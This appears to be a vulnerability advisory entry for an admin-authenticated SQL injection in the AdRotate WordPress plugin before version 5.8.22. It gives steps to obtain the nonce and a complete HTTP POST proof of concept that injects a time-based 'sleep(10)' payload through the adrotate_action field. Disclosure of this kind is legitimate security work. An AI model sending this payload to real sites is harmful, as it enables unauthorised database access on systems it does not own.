AdRotate < 5.8.22 - Admin+ SQL Injection

2022-02-0700:00:00

JrXnm

112

adrotate

sql injection

admin+nonce

bulk action

exploit

EPSS

0.001

Percentile

37.7%

JSON

The plugin does not sanitise and escape the adrotate_action before using it in a SQL statement via the adrotate_request_action function available to admins, leading to a SQL injection

Get the nonce from one of the bulk action, for example /wp-admin/admin.php?page=adrotate and look for adrotate_nonce in the source

POST /wp-admin/ HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 107
Connection: close
Cookie: [admin+]

adrotate_action_submit=1&adrotate_nonce=07d896329d&adrotate_action=renew-1 where sleep(10)#&bannercheck[]=1

EPSS

0.001

Percentile

37.7%

JSON

Related for WPEX-ID:7DF70F49-547F-4BDB-BF9B-2E06F93488C6